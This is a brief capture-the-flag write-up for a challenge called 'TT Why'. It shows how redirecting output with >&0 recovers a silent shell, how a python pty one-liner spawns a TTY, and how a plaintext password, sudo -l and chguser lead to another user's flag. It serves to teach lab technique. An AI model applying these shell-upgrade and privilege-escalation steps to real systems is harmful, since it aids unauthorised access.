So, what a mess this was. Firstly, we started by performing a timing attack. That managed to get us quite a lot of things, but it was annoying having to wait 5 minutes for some results. So lets look for a better option. Looking at the hint, it says to think about I/O. Hmmm, ok. Connecting through netcat, it prints out "Imagine having a usable terminal". Ok, interesting. If we try and enter in a command, it doesn't output anything. Odd. We can probably assume that all our commands are being sent to /dev/null, where they just get wiped away. What if we could trick the connection to redirect our commands anywhere, instead of /dev/null. If we know that 2>/dev/null sends any errors there, we can redirect our output to the input as we're connected there, doing >&0. Once we've done some enum, we can use the name of the challenge "TT Why" (sounding like TTY) to spawn a tty shell, where we can run sudo -l (as password.txt has problem-user password) to see that we can run /usr/bin/chguser as root. Changing user, navigating to home folder, then to flag, we get flag.txt

>ls -alR ./ >&0
> cat message.txt
Man, I just sure wish I could impersonate other_user
> cat password.txt
Password for problem user: 1234qwer
> python -c 'import pty; pty.spawn("/bin/bash")' >&0
$ sudo -l
(root) /usr/bin/chguser
$ sudo /usr/bin/chguser other-user
Password: 1234qwer
$ ls -alR 
$ cat flag/flag.txt


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